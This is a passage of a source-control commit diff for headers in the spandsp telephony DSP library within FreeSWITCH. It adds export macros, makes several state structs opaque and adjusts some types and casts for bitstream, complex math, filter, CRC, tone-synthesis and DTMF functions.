-    /*! The residual bits in bitstream. */
-    unsigned int residue;
-} bitstream_state_t;
+typedef struct bitstream_state_s bitstream_state_t;
 
 
 #if defined(__cplusplus)
@@ -55,32 +49,36 @@
     \param s A pointer to the bitstream context.
     \param c A pointer to the bitstream output buffer.
     \param value The value to be pushed into the output buffer.
-    \param bits The number of bits of value to be pushed. 1 to 25 bit is valid. */
-void bitstream_put(bitstream_state_t *s, uint8_t **c, unsigned int value, int bits);
+    \param bits The number of bits of value to be pushed. 1 to 25 bits is valid. */
+SPAN_DECLARE(void) bitstream_put(bitstream_state_t *s, uint8_t **c, uint32_t value, int bits);
 
-void bitstream_put2(bitstream_state_t *s, uint8_t **c, unsigned int value, int bits);
+SPAN_DECLARE(void) bitstream_put2(bitstream_state_t *s, uint8_t **c, uint32_t value, int bits);
 
 /*! \brief Get a chunk of bits from the input buffer.
     \param s A pointer to the bitstream context.
     \param c A pointer to the bitstream input buffer.
-    \param bits The number of bits of value to be grabbed. 1 to 25 bit is valid.
+    \param bits The number of bits of value to be grabbed. 1 to 25 bits is valid.
     \return The value retrieved from the input buffer. */
-unsigned int bitstream_get(bitstream_state_t *s, const uint8_t **c, int bits);
+SPAN_DECLARE(uint32_t) bitstream_get(bitstream_state_t *s, const uint8_t **c, int bits);
 
-unsigned int bitstream_get2(bitstream_state_t *s, const uint8_t **c, int bits);
+SPAN_DECLARE(uint32_t) bitstream_get2(bitstream_state_t *s, const uint8_t **c, int bits);
 
 /*! \brief Flush any residual bit to the output buffer.
     \param s A pointer to the bitstream context.
     \param c A pointer to the bitstream output buffer. */
-void bitstream_flush(bitstream_state_t *s, uint8_t **c);
+SPAN_DECLARE(void) bitstream_flush(bitstream_state_t *s, uint8_t **c);
 
-void bitstream_flush2(bitstream_state_t *s, uint8_t **c);
+SPAN_DECLARE(void) bitstream_flush2(bitstream_state_t *s, uint8_t **c);
 
 /*! \brief Initialise a bitstream context.
     \param s A pointer to the bitstream context.
     \return A pointer to the bitstream context. */
-bitstream_state_t *bitstream_init(bitstream_state_t *s);
+SPAN_DECLARE(bitstream_state_t *) bitstream_init(bitstream_state_t *s);
 
+SPAN_DECLARE(int) bitstream_release(bitstream_state_t *s);
+
+SPAN_DECLARE(int) bitstream_free(bitstream_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/complex.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/complex.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/complex.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: complex.h,v 1.18 2008/09/03 13:41:42 steveu Exp $
+ * $Id: complex.h,v 1.20 2009/02/21 05:39:08 steveu Exp $
  */
 
 /*! \file */
@@ -121,7 +121,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static __inline__ complex_t complex_set(float re, float im)
+static __inline__ complex_t complex_set(double re, double im)
 {
     complex_t z;
 
@@ -343,8 +343,8 @@
 {
     complexi16_t z;
 
-    z.re = (int32_t) x->re*(int32_t) y->re - (int32_t) x->im*(int32_t) y->im;
-    z.im = (int32_t) x->re*(int32_t) y->im + (int32_t) x->im*(int32_t) y->re;
+    z.re = (int16_t) ((int32_t) x->re*(int32_t) y->re - (int32_t) x->im*(int32_t) y->im);
+    z.im = (int16_t) ((int32_t) x->re*(int32_t) y->im + (int32_t) x->im*(int32_t) y->re);
     return z;
 }
 /*- End of function --------------------------------------------------------*/
@@ -353,8 +353,8 @@
 {
     complexi16_t z;
 
-    z.re = ((int32_t) x->re*(int32_t) y->re - (int32_t) x->im*(int32_t) y->im) >> 15;
-    z.im = ((int32_t) x->re*(int32_t) y->im + (int32_t) x->im*(int32_t) y->re) >> 15;
+    z.re = (int16_t) (((int32_t) x->re*(int32_t) y->re - (int32_t) x->im*(int32_t) y->im) >> 15);
+    z.im = (int16_t) (((int32_t) x->re*(int32_t) y->im + (int32_t) x->im*(int32_t) y->re) >> 15);
     return z;
 }
 /*- End of function --------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/complex_filters.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/complex_filters.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/complex_filters.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: complex_filters.h,v 1.12 2008/04/17 14:27:00 steveu Exp $
+ * $Id: complex_filters.h,v 1.14 2009/02/03 16:28:41 steveu Exp $
  */
 
 #if !defined(_SPANDSP_COMPLEX_FILTERS_H_)
@@ -35,23 +35,23 @@
 /*! Filter state */
 typedef struct
 {
-    int                 nz;
-    int                 np;
-    filter_step_func_t  fsf;
+    int nz;
+    int np;
+    filter_step_func_t fsf;
 } fspec_t;
 
 struct filter_s
 {
-    fspec_t             *fs;
-    float               sum;
-    int                 ptr;		/* for moving average filters only */
-    float               v[];
+    fspec_t *fs;
+    float sum;
+    int ptr;            /* Only for moving average filters */
+    float v[];
 };
 
 typedef struct
 {
-    filter_t            *ref;
-    filter_t            *imf;
+    filter_t *ref;
+    filter_t *imf;
 } cfilter_t;
 
 #if defined(__cplusplus)
@@ -59,13 +59,13 @@
 {
 #endif
 
-filter_t *filter_create(fspec_t *fs);
-void filter_delete(filter_t *fi);
-float filter_step(filter_t *fi, float x);
+SPAN_DECLARE(filter_t *) filter_create(fspec_t *fs);
+SPAN_DECLARE(void) filter_delete(filter_t *fi);
+SPAN_DECLARE(float) filter_step(filter_t *fi, float x);
 
-cfilter_t *cfilter_create(fspec_t *fs);
-void cfilter_delete(cfilter_t *cfi);
-complexf_t cfilter_step(cfilter_t *cfi, const complexf_t *z);
+SPAN_DECLARE(cfilter_t *) cfilter_create(fspec_t *fs);
+SPAN_DECLARE(void) cfilter_delete(cfilter_t *cfi);
+SPAN_DECLARE(complexf_t) cfilter_step(cfilter_t *cfi, const complexf_t *z);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/complex_vector_float.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/complex_vector_float.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/complex_vector_float.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: complex_vector_float.h,v 1.10 2008/09/18 13:16:49 steveu Exp $
+ * $Id: complex_vector_float.h,v 1.13 2009/02/04 13:18:53 steveu Exp $
  */
 
 #if !defined(_SPANDSP_COMPLEX_VECTOR_FLOAT_H_)
@@ -120,19 +120,27 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
+SPAN_DECLARE(void) cvec_mulf(complexf_t z[], const complexf_t x[], const complexf_t y[], int n);
+
+SPAN_DECLARE(void) cvec_mul(complex_t z[], const complex_t x[], const complex_t y[], int n);
+
+#if defined(HAVE_LONG_DOUBLE)
+SPAN_DECLARE(void) cvec_mull(complexl_t z[], const complexl_t x[], const complexl_t y[], int n);
+#endif
+
 /*! \brief Find the dot product of two complex float vectors.
     \param x The first vector.
     \param y The first vector.
     \param n The number of elements in the vectors.
     \return The dot product of the two vectors. */
-complexf_t cvec_dot_prodf(const complexf_t x[], const complexf_t y[], int n);
+SPAN_DECLARE(complexf_t) cvec_dot_prodf(const complexf_t x[], const complexf_t y[], int n);
 
 /*! \brief Find the dot product of two complex double vectors.
     \param x The first vector.
     \param y The first vector.
     \param n The number of elements in the vectors.
     \return The dot product of the two vectors. */
-complex_t cvec_dot_prod(const complex_t x[], const complex_t y[], int n);
+SPAN_DECLARE(complex_t) cvec_dot_prod(const complex_t x[], const complex_t y[], int n);
 
 #if defined(HAVE_LONG_DOUBLE)
 /*! \brief Find the dot product of two complex long double vectors.
@@ -140,7 +148,7 @@
     \param y The first vector.
     \param n The number of elements in the vectors.
     \return The dot product of the two vectors. */
-complexl_t cvec_dot_prodl(const complexl_t x[], const complexl_t y[], int n);
+SPAN_DECLARE(complexl_t) cvec_dot_prodl(const complexl_t x[], const complexl_t y[], int n);
 #endif
 
 /*! \brief Find the dot product of two complex float vectors, where the first is a circular buffer
@@ -150,11 +158,11 @@
     \param n The number of elements in the vectors.
     \param pos The starting position in the x vector.
     \return The dot product of the two vectors. */
-complexf_t cvec_circular_dot_prodf(const complexf_t x[], const complexf_t y[], int n, int pos);
+SPAN_DECLARE(complexf_t) cvec_circular_dot_prodf(const complexf_t x[], const complexf_t y[], int n, int pos);
 
-void cvec_lmsf(const complexf_t x[], complexf_t y[], int n, const complexf_t *error);
+SPAN_DECLARE(void) cvec_lmsf(const complexf_t x[], complexf_t y[], int n, const complexf_t *error);
 
-void cvec_circular_lmsf(const complexf_t x[], complexf_t y[], int n, int pos, const complexf_t *error);
+SPAN_DECLARE(void) cvec_circular_lmsf(const complexf_t x[], complexf_t y[], int n, int pos, const complexf_t *error);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/complex_vector_int.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/complex_vector_int.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/complex_vector_int.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: complex_vector_int.h,v 1.3 2008/09/18 13:16:49 steveu Exp $
+ * $Id: complex_vector_int.h,v 1.4 2009/01/31 08:48:11 steveu Exp $
  */
 
 #if !defined(_SPANDSP_COMPLEX_VECTOR_INT_H_)
@@ -101,14 +101,14 @@
     \param y The first vector.
     \param n The number of elements in the vectors.
     \return The dot product of the two vectors. */
-complexi32_t cvec_dot_prodi16(const complexi16_t x[], const complexi16_t y[], int n);
+SPAN_DECLARE(complexi32_t) cvec_dot_prodi16(const complexi16_t x[], const complexi16_t y[], int n);
 
 /*! \brief Find the dot product of two complex int32_t vectors.
     \param x The first vector.
     \param y The first vector.
     \param n The number of elements in the vectors.
     \return The dot product of the two vectors. */
-complexi32_t cvec_dot_prodi32(const complexi32_t x[], const complexi32_t y[], int n);
+SPAN_DECLARE(complexi32_t) cvec_dot_prodi32(const complexi32_t x[], const complexi32_t y[], int n);
 
 /*! \brief Find the dot product of two complex int16_t vectors, where the first is a circular buffer
            with an offset for the starting position.
@@ -117,11 +117,11 @@
     \param n The number of elements in the vectors.
     \param pos The starting position in the x vector.
     \return The dot product of the two vectors. */
-complexi32_t cvec_circular_dot_prodi16(const complexi16_t x[], const complexi16_t y[], int n, int pos);
+SPAN_DECLARE(complexi32_t) cvec_circular_dot_prodi16(const complexi16_t x[], const complexi16_t y[], int n, int pos);
 
-void cvec_lmsi16(const complexi16_t x[], complexi16_t y[], int n, const complexi16_t *error);
+SPAN_DECLARE(void) cvec_lmsi16(const complexi16_t x[], complexi16_t y[], int n, const complexi16_t *error);
 
-void cvec_circular_lmsi16(const complexi16_t x[], complexi16_t y[], int n, int pos, const complexi16_t *error);
+SPAN_DECLARE(void) cvec_circular_lmsi16(const complexi16_t x[], complexi16_t y[], int n, int pos, const complexi16_t *error);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/crc.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/crc.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/crc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: crc.h,v 1.4 2008/04/17 14:27:00 steveu Exp $
+ * $Id: crc.h,v 1.5 2009/01/31 08:48:11 steveu Exp $
  */
 
 /*! \file */
@@ -49,7 +49,7 @@
            the application). It is previous returned CRC value for the continuation of a block.
     \return The CRC value.
 */
-uint32_t crc_itu32_calc(const uint8_t *buf, int len, uint32_t crc);
+SPAN_DECLARE(uint32_t) crc_itu32_calc(const uint8_t *buf, int len, uint32_t crc);
 
 /*! \brief Append an ITU/CCITT CRC-32 value to a frame.
     \param buf The buffer containing the frame. This must be at least 2 bytes longer than
@@ -57,14 +57,14 @@
     \param len The length of the frame.
     \return The new length of the frame.
 */
-int crc_itu32_append(uint8_t *buf, int len);
+SPAN_DECLARE(int) crc_itu32_append(uint8_t *buf, int len);
 
 /*! \brief Check the ITU/CCITT CRC-32 value in a frame.
     \param buf The buffer containing the frame.
     \param len The length of the frame.
     \return TRUE if the CRC is OK, else FALSE.
 */
-int crc_itu32_check(const uint8_t *buf, int len);
+SPAN_DECLARE(int) crc_itu32_check(const uint8_t *buf, int len);
 
 /*! \brief Calculate the ITU/CCITT CRC-16 value in buffer.
     \param buf The buffer containing the data.
@@ -73,7 +73,7 @@
            the application). It is previous returned CRC value for the continuation of a block.
     \return The CRC value.
 */
-uint16_t crc_itu16_calc(const uint8_t *buf, int len, uint16_t crc);
+SPAN_DECLARE(uint16_t) crc_itu16_calc(const uint8_t *buf, int len, uint16_t crc);
 
 /*! \brief Append an ITU/CCITT CRC-16 value to a frame.
     \param buf The buffer containing the frame. This must be at least 2 bytes longer than
@@ -81,14 +81,14 @@
     \param len The length of the frame.
     \return The new length of the frame.
 */
-int crc_itu16_append(uint8_t *buf, int len);
+SPAN_DECLARE(int) crc_itu16_append(uint8_t *buf, int len);
 
 /*! \brief Check the ITU/CCITT CRC-16 value in a frame.
     \param buf The buffer containing the frame.
     \param len The length of the frame.
     \return TRUE if the CRC is OK, else FALSE.
 */
-int crc_itu16_check(const uint8_t *buf, int len);
+SPAN_DECLARE(int) crc_itu16_check(const uint8_t *buf, int len);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/dds.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/dds.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/dds.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: dds.h,v 1.21 2008/09/11 15:13:42 steveu Exp $
+ * $Id: dds.h,v 1.23 2009/01/31 08:48:11 steveu Exp $
  */
 
 /*! \file */
@@ -39,57 +39,57 @@
     \param frequency The desired frequency, in Hz.
     \return The phase rate which while achieve the desired frequency.
 */
-int32_t dds_phase_rate(float frequency);
+SPAN_DECLARE(int32_t) dds_phase_rate(float frequency);
 
 /*! \brief Find the frequency, in Hz, equivalent to a phase rate.
     \param phase_rate The phase rate.
     \return The equivalent frequency, in Hz.
 */
-float dds_frequency(int32_t phase_rate);
+SPAN_DECLARE(float) dds_frequency(int32_t phase_rate);
 
 /*! \brief Find the scaling factor needed to achieve a specified level in dBm0.
     \param level The desired signal level, in dBm0.
     \return The scaling factor.
 */
-int dds_scaling_dbm0(float level);
+SPAN_DECLARE(int16_t) dds_scaling_dbm0(float level);
 
 /*! \brief Find the scaling factor needed to achieve a specified level in dBmov.
     \param level The desired signal level, in dBmov.
     \return The scaling factor.
 */
-int dds_scaling_dbov(float level);
+SPAN_DECLARE(int16_t) dds_scaling_dbov(float level);
 
 /*! \brief Find the amplitude for a particular phase.
     \param phase The desired phase 32 bit phase.
     \return The signal amplitude.
 */
-int16_t dds_lookup(uint32_t phase);
+SPAN_DECLARE(int16_t) dds_lookup(uint32_t phase);
 
 /*! \brief Find the amplitude for a particular phase offset from an accumulated phase.
     \param phase_acc The accumulated phase.
     \param phase_offset The phase offset.
     \return The signal amplitude.
 */
-int16_t dds_offset(uint32_t phase_acc, int32_t phase_offset);
+SPAN_DECLARE(int16_t) dds_offset(uint32_t phase_acc, int32_t phase_offset);
 
 /*! \brief Advance the phase, without returning any new signal sample.
     \param phase_acc A pointer to a phase accumulator value.
     \param phase_rate The phase increment to be applied.
 */
-void dds_advance(uint32_t *phase_acc, int32_t phase_rate);
+SPAN_DECLARE(void) dds_advance(uint32_t *phase_acc, int32_t phase_rate);
 
 /*! \brief Generate an integer tone sample.
     \param phase_acc A pointer to a phase accumulator value.
     \param phase_rate The phase increment to be applied.
     \return The signal amplitude, between -32767 and 32767.
 */
-int16_t dds(uint32_t *phase_acc, int32_t phase_rate);
+SPAN_DECLARE(int16_t) dds(uint32_t *phase_acc, int32_t phase_rate);
 
 /*! \brief Lookup the integer value of a specified phase.
     \param phase The phase accumulator value to be looked up.
     \return The signal amplitude, between -32767 and 32767.
 */
-int16_t dds_lookup(uint32_t phase);
+SPAN_DECLARE(int16_t) dds_lookup(uint32_t phase);
 
 /*! \brief Generate an integer tone sample, with modulation.
     \param phase_acc A pointer to a phase accumulator value.
@@ -98,20 +98,20 @@
     \param phase The phase offset.
     \return The signal amplitude, between -32767 and 32767.
 */
-int16_t dds_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase);
+SPAN_DECLARE(int16_t) dds_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase);
 
 /*! \brief Lookup the complex integer value of a specified phase.
     \param phase The phase accumulator value to be looked up.
     \return The complex signal amplitude, between (-32767, -32767) and (32767, 32767).
 */
-complexi_t dds_lookup_complexi(uint32_t phase);
+SPAN_DECLARE(complexi_t) dds_lookup_complexi(uint32_t phase);
 
 /*! \brief Generate a complex integer tone sample.
     \param phase_acc A pointer to a phase accumulator value.
     \param phase_rate The phase increment to be applied.
     \return The complex signal amplitude, between (-32767, -32767) and (32767, 32767).
 */
-complexi_t dds_complexi(uint32_t *phase_acc, int32_t phase_rate);
+SPAN_DECLARE(complexi_t) dds_complexi(uint32_t *phase_acc, int32_t phase_rate);
 
 /*! \brief Generate a complex integer tone sample, with modulation.
     \param phase_acc A pointer to a phase accumulator value.
@@ -120,21 +120,21 @@
     \param phase The phase offset.
     \return The complex signal amplitude, between (-32767, -32767) and (32767, 32767).
 */
-complexi_t dds_complexi_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase);
+SPAN_DECLARE(complexi_t) dds_complexi_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase);
 
 /*! \brief Generate a complex 16 bit integer tone sample.
     \param phase_acc A pointer to a phase accumulator value.
     \param phase_rate The phase increment to be applied.
     \return The complex signal amplitude, between (-32767, -32767) and (32767, 32767).
 */
-complexi16_t dds_lookup_complexi16(uint32_t phase);
+SPAN_DECLARE(complexi16_t) dds_lookup_complexi16(uint32_t phase);
 
 /*! \brief Generate a complex 16 bit integer tone sample.
     \param phase_acc A pointer to a phase accumulator value.
     \param phase_rate The phase increment to be applied.
     \return The complex signal amplitude, between (-32767, -32767) and (32767, 32767).
 */
-complexi16_t dds_complexi16(uint32_t *phase_acc, int32_t phase_rate);
+SPAN_DECLARE(complexi16_t) dds_complexi16(uint32_t *phase_acc, int32_t phase_rate);
 
 /*! \brief Generate a complex 16bit integer tone sample, with modulation.
     \param phase_acc A pointer to a phase accumulator value.
@@ -143,7 +143,7 @@
     \param phase The phase offset.
     \return The complex signal amplitude, between (-32767, -32767) and (32767, 32767).
 */
-complexi16_t dds_complexi16_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase);
+SPAN_DECLARE(complexi16_t) dds_complexi16_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase);
 
 /*! \brief Generate a complex 32 bit integer tone sample, with modulation.
     \param phase_acc A pointer to a phase accumulator value.
@@ -152,21 +152,21 @@
     \param phase The phase offset.
     \return The complex signal amplitude, between (-32767, -32767) and (32767, 32767).
 */
-complexi32_t dds_complexi32_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase);
+SPAN_DECLARE(complexi32_t) dds_complexi32_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase);
 
 /*! \brief Generate a complex 32 bit integer tone sample.
     \param phase_acc A pointer to a phase accumulator value.
     \param phase_rate The phase increment to be applied.
     \return The complex signal amplitude, between (-32767, -32767) and (32767, 32767).
 */
-complexi32_t dds_lookup_complexi32(uint32_t phase);
+SPAN_DECLARE(complexi32_t) dds_lookup_complexi32(uint32_t phase);
 
 /*! \brief Generate a complex 32 bit integer tone sample.
     \param phase_acc A pointer to a phase accumulator value.
     \param phase_rate The phase increment to be applied.
     \return The complex signal amplitude, between (-32767, -32767) and (32767, 32767).
 */
-complexi32_t dds_complexi32(uint32_t *phase_acc, int32_t phase_rate);
+SPAN_DECLARE(complexi32_t) dds_complexi32(uint32_t *phase_acc, int32_t phase_rate);
 
 /*! \brief Generate a complex 32 bit integer tone sample, with modulation.
     \param phase_acc A pointer to a phase accumulator value.
@@ -175,50 +175,50 @@
     \param phase The phase offset.
     \return The complex signal amplitude, between (-32767, -32767) and (32767, 32767).
 */
-complexi32_t dds_complexi32_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase);
+SPAN_DECLARE(complexi32_t) dds_complexi32_mod(uint32_t *phase_acc, int32_t phase_rate, int16_t scale, int32_t phase);
 
 /*! \brief Find the phase rate equivalent to a frequency, in Hz.
     \param frequency The frequency, in Hz.
     \return The equivalent phase rate.
 */
-int32_t dds_phase_ratef(float frequency);
+SPAN_DECLARE(int32_t) dds_phase_ratef(float frequency);
 
 /*! \brief Find the frequency, in Hz, equivalent to a phase rate.
     \param phase_rate The phase rate.
     \return The equivalent frequency, in Hz.
 */
-float dds_frequencyf(int32_t phase_rate);
+SPAN_DECLARE(float) dds_frequencyf(int32_t phase_rate);
 
 /*! \brief Find the scaling factor equivalent to a dBm0 value.
     \param level The signal level in dBm0.
     \return The equivalent scaling factor.
 */
-float dds_scaling_dbm0f(float level);
+SPAN_DECLARE(float) dds_scaling_dbm0f(float level);
 
 /*! \brief Find the scaling factor equivalent to a dBmov value.
     \param level The signal level in dBmov.
     \return The equivalent scaling factor.
 */
-float dds_scaling_dbovf(float level);
+SPAN_DECLARE(float) dds_scaling_dbovf(float level);
 
 /*! \brief Advance the phase, without returning any new signal sample.
     \param phase_acc A pointer to a phase accumulator value.
     \param phase_rate The phase increment to be applied.
 */
-void dds_advancef(uint32_t *phase_acc, int32_t phase_rate);
+SPAN_DECLARE(void) dds_advancef(uint32_t *phase_acc, int32_t phase_rate);
 
 /*! \brief Generate a floating point tone sample.
     \param phase_acc A pointer to a phase accumulator value.
     \param phase_rate The phase increment to be applied.
     \return The signal amplitude, between -1.0 and 1.0.
 */
-float ddsf(uint32_t *phase_acc, int32_t phase_rate);
+SPAN_DECLARE(float) ddsf(uint32_t *phase_acc, int32_t phase_rate);
 
 /*! \brief Lookup the floating point value of a specified phase.
     \param phase The phase accumulator value to be looked up.
     \return The signal amplitude, between -1.0 and 1.0.
 */
-float dds_lookupf(uint32_t phase);
+SPAN_DECLARE(float) dds_lookupf(uint32_t phase);
 
 /*! \brief Generate a floating point tone sample, with modulation.
     \param phase_acc A pointer to a phase accumulator value.
@@ -227,20 +227,20 @@
     \param phase The phase offset.
     \return The signal amplitude, between -1.0 and 1.0.
 */
-float dds_modf(uint32_t *phase_acc, int32_t phase_rate, float scale, int32_t phase);
+SPAN_DECLARE(float) dds_modf(uint32_t *phase_acc, int32_t phase_rate, float scale, int32_t phase);
 
 /*! \brief Generate a complex floating point tone sample.
     \param phase_acc A pointer to a phase accumulator value.
     \param phase_rate The phase increment to be applied.
     \return The complex signal amplitude, between (-1.0, -1.0) and (1.0, 1.0).
 */
-complexf_t dds_complexf(uint32_t *phase_acc, int32_t phase_rate);
+SPAN_DECLARE(complexf_t) dds_complexf(uint32_t *phase_acc, int32_t phase_rate);
 
 /*! \brief Lookup the complex value of a specified phase.
     \param phase The phase accumulator value to be looked up.
     \return The complex signal amplitude, between (-1.0, -1.0) and (1.0, 1.0).
 */
-complexf_t dds_lookup_complexf(uint32_t phase_acc);
+SPAN_DECLARE(complexf_t) dds_lookup_complexf(uint32_t phase_acc);
 
 /*! \brief Generate a complex floating point tone sample, with modulation.
     \param phase_acc A pointer to a phase accumulator value.
@@ -249,7 +249,7 @@
     \param phase The phase offset.
     \return The complex signal amplitude, between (-1.0, -1.0) and (1.0, 1.0).
 */
-complexf_t dds_complex_modf(uint32_t *phase_acc, int32_t phase_rate, float scale, int32_t phase);
+SPAN_DECLARE(complexf_t) dds_complex_modf(uint32_t *phase_acc, int32_t phase_rate, float scale, int32_t phase);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/dtmf.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/dtmf.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/dtmf.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 /*
  * SpanDSP - a series of DSP components for telephony
  *
- * dtmf.h - 
+ * dtmf.h - DTMF tone generation and detection.
  *
  * Written by Steve Underwood <steveu@coppice.org>
  *
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: dtmf.h,v 1.28 2008/06/13 14:46:52 steveu Exp $
+ * $Id: dtmf.h,v 1.32 2009/02/10 13:06:47 steveu Exp $
  */
 
 #if !defined(_SPANDSP_DTMF_H_)
@@ -81,81 +81,13 @@
     DTMF generator state descriptor. This defines the state of a single
     working instance of a DTMF generator.
 */
-typedef struct
-{
-    tone_gen_state_t tones;
-    float low_level;
-    float high_level;
-    int on_time;
-    int off_time;
-    union
-    {
-        queue_state_t queue;
-        uint8_t buf[QUEUE_STATE_T_SIZE(MAX_DTMF_DIGITS)];
-    } queue;
-} dtmf_tx_state_t;
+typedef struct dtmf_tx_state_s dtmf_tx_state_t;
 
 /*!
     DTMF digit detector descriptor.
 */
-typedef struct
-{
-    /*! Optional callback funcion to deliver received digits. */
-    digits_rx_callback_t digits_callback;
-    /*! An opaque pointer passed to the callback function. */
-    void *digits_callback_data;
-    /*! Optional callback funcion to deliver real time digit state changes. */
-    tone_report_func_t realtime_callback;
-    /*! An opaque pointer passed to the real time callback function. */
-    void *realtime_callback_data;
-    /*! TRUE if dialtone should be filtered before processing */
-    int filter_dialtone;
-#if defined(SPANDSP_USE_FIXED_POINT)
-    /*! 350Hz filter state for the optional dialtone filter. */
-    float z350[2];
-    /*! 440Hz filter state for the optional dialtone filter. */
-    float z440[2];
-    /*! Maximum acceptable "normal" (lower bigger than higher) twist ratio. */
-    float normal_twist;
-    /*! Maximum acceptable "reverse" (higher bigger than lower) twist ratio. */
-    float reverse_twist;
-    /*! Minimum acceptable tone level for detection. */
-    int32_t threshold;
-    /*! The accumlating total energy on the same period over which the Goertzels work. */
-    int32_t energy;
-#else
-    /*! 350Hz filter state for the optional dialtone filter. */
-    float z350[2];
-    /*! 440Hz filter state for the optional dialtone filter. */
-    float z440[2];
-    /*! Maximum acceptable "normal" (lower bigger than higher) twist ratio. */
-    float normal_twist;
-    /*! Maximum acceptable "reverse" (higher bigger than lower) twist ratio. */
-    float reverse_twist;
-    /*! Minimum acceptable tone level for detection. */
-    float threshold;
-    /*! The accumlating total energy on the same period over which the Goertzels work. */
-    float energy;
-#endif
-    /*! Tone detector working states for the row tones. */
-    goertzel_state_t row_out[4];
-    /*! Tone detector working states for the column tones. */
-    goertzel_state_t col_out[4];
-    /*! The result of the last tone analysis. */
-    uint8_t last_hit;
-    /*! The confirmed digit we are currently receiving */
-    uint8_t in_digit;
-    /*! The current sample number within a processing block. */
-    int current_sample;
+typedef struct dtmf_rx_state_s dtmf_rx_state_t;
 
-    /*! The number of digits which have been lost due to buffer overflows. */
-    int lost_digits;
-    /*! The number of digits currently in the digit buffer. */
-    int current_digits;
-    /*! The received digits buffer. This is a NULL terminated string. */
-    char digits[MAX_DTMF_DIGITS + 1];
-} dtmf_rx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -167,7 +99,7 @@
     \param max_samples The required number of generated samples.
     \return The number of samples actually generated. This may be less than 
             max_samples if the input buffer empties. */
-int dtmf_tx(dtmf_tx_state_t *s, int16_t amp[], int max_samples);
+SPAN_DECLARE(int) dtmf_tx(dtmf_tx_state_t *s, int16_t amp[], int max_samples);
 
 /*! \brief Put a string of digits in a DTMF generator's input buffer.
     \param s The DTMF generator context.
@@ -176,29 +108,34 @@
            assumed to be a NULL terminated string.
     \return The number of digits actually added. This may be less than the
             length of the digit string, if the buffer fills up. */
-size_t dtmf_tx_put(dtmf_tx_state_t *s, const char *digits, int len);
+SPAN_DECLARE(int) dtmf_tx_put(dtmf_tx_state_t *s, const char *digits, int len);
 
 /*! \brief Change the transmit level for a DTMF tone generator context.
     \param s The DTMF generator context.
     \param level The level of the low tone, in dBm0.
     \param twist The twist, in dB. */
-void dtmf_tx_set_level(dtmf_tx_state_t *s, int level, int twist);
+SPAN_DECLARE(void) dtmf_tx_set_level(dtmf_tx_state_t *s, int level, int twist);
 
